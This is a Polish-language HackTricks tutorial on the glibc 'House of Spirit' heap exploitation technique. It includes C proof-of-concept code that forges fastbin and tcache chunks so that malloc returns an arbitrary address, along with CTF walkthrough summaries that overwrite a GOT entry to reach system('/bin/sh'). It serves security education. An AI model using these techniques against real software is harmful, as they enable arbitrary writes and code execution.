House of Spirit
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowe informacje
Kod
House of Spirit
```c #include// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };
int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;
ptr = malloc(0x30);
printf(“Original alloc address: %p\n”, ptr); printf(“Main fake chunk:%p\n”, &fake_chunks[0]); printf(“Second fake chunk for size: %p\n”, &fake_chunks[1]);
// Passes size check of “free(): invalid size” fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes “free(): invalid next size (fast)” fake_chunks[1].size = sizeof(struct fast_chunk);
// Attacker overwrites a pointer that is about to be ‘freed’ // Point to .fd as it’s the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;
free(ptr);
victim = malloc(0x30); printf(“Victim: %p\n”, victim);
return 0; }
</details>
### Cel
- Móc dodać adres do tcache / fast bin, aby później można go było przydzielić
### Wymagania
- Ten atak wymaga, aby atakujący potrafił stworzyć parę fake fast chunks, które poprawnie wskazują wartość pola size, a następnie zwolnić pierwszy fake chunk, aby trafił do binu.
- Z **tcache (glibc ≥2.26)** atak jest jeszcze prostszy: potrzebny jest tylko jeden fake chunk (na ścieżce tcache nie jest wykonywana kontrola next-chunk size), pod warunkiem że fake chunk jest wyrównany do 0x10 i jego pole size mieści się w prawidłowym tcache binie (0x20-0x410 na x64).
### Atak
- Stwórz fake chunks, które omijają kontrole bezpieczeństwa: będziesz potrzebować 2 fake chunks, wskazujących we właściwych miejscach poprawne rozmiary
- W jakiś sposób zwolnij pierwszy fake chunk, aby trafił do fast lub tcache bin, a następnie przydziel go, aby nadpisać ten adres
**Kod od** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **świetnie wyjaśnia ten atak.** Poniższy schemat z kodu podsumowuje to całkiem dobrze:
<details>
<summary>Układ fake chunków</summary>
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64
+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+
for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/
Tip
Zauważ, że konieczne jest utworzenie drugiego chunk, aby obejść niektóre sanity checks.
Tcache house of spirit (glibc ≥2.26)
- W nowoczesnym glibc tcache fast-path wywołuje
tcache_putprzed weryfikacją rozmiaru następnego chunk/prev_inuse, więc tylko bieżący fake chunk musi wyglądać poprawnie. - Wymagania:
- Fake chunk musi być wyrównany do 16 bajtów i nie może być oznaczony jako
IS_MMAPPED/NON_MAIN_ARENA. sizemusi należeć do binu tcache i zawierać ustawiony bit prev_inuse (size | 1).- Tcache dla tego binu nie może być pełny (domyślnie maks. 7 wpisów).
- Minimalny PoC (stack chunk):
unsigned long long fake[6] __attribute__((aligned(0x10)));
// chunk header at fake[0]; usable data starts at fake+2
fake[1] = 0x41; // fake size (0x40 bin, prev_inuse=1)
void *p = &fake[2]; // points inside fake chunk
free(p); // goes straight into tcache
void *q = malloc(0x30); // returns stack address fake+2
- Safe-linking nie stanowi tu przeszkody: forward pointer przechowywany w tcache jest automatycznie kodowany jako
fd = ptr ^ (heap_base >> 12)podczasfree, więc atakujący nie musi znać klucza używając pojedynczego fake chunku. - Ta wariacja jest przydatna, gdy glibc hooks zostały usunięte (≥2.34) i chcesz szybkiego arbitrary write lub nachodzić na docelowy bufor (np. stack/BSS) tcache chunkiem bez tworzenia dodatkowych korupcji.
Examples
-
CTF https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html
-
Libc infoleak: Dzięki overflowowi można zmienić pointer tak, by wskazywał na adres w GOT, aby leak a libc address via the read action of the CTF
-
House of Spirit: Nadużywając licznika zliczającego liczbę “rifles”, można wygenerować fake size pierwszego fake chunka, następnie nadużywając “message” można sfałszować drugi rozmiar chunku i wreszcie nadużywając overflow da się zmienić pointer, który zostanie
freed, więc nasz pierwszy fake chunk zostajefreed. Potem możemy go alokować i wewnątrz znajdzie się adres, gdzie przechowywane jest “message”. Następnie można sprawić, by wskazywał na wpisscanfw tablicy GOT, dzięki czemu nadpisujemy go adresem dosystem. Następnym razem, gdyscanfzostanie wywołane, możemy wysłać input"/bin/sh"i uzyskać shell. -
Glibc leak: Niezinicjalizowany bufor na stosie.
-
House of Spirit: Możemy zmodyfikować pierwszy indeks globalnej tablicy heap pointers. Jednobajtową modyfikacją używamy
freena fake chunku wewnątrz prawidłowego chunku, co powoduje overlapping chunks po ponownej alokacji. Dzięki temu prosty Tcache poisoning pozwala uzyskać arbitrary write primitive.
References
- https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
- https://github.com/shellphish/how2heap/blob/master/glibc_2.34/tcache_house_of_spirit.c
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


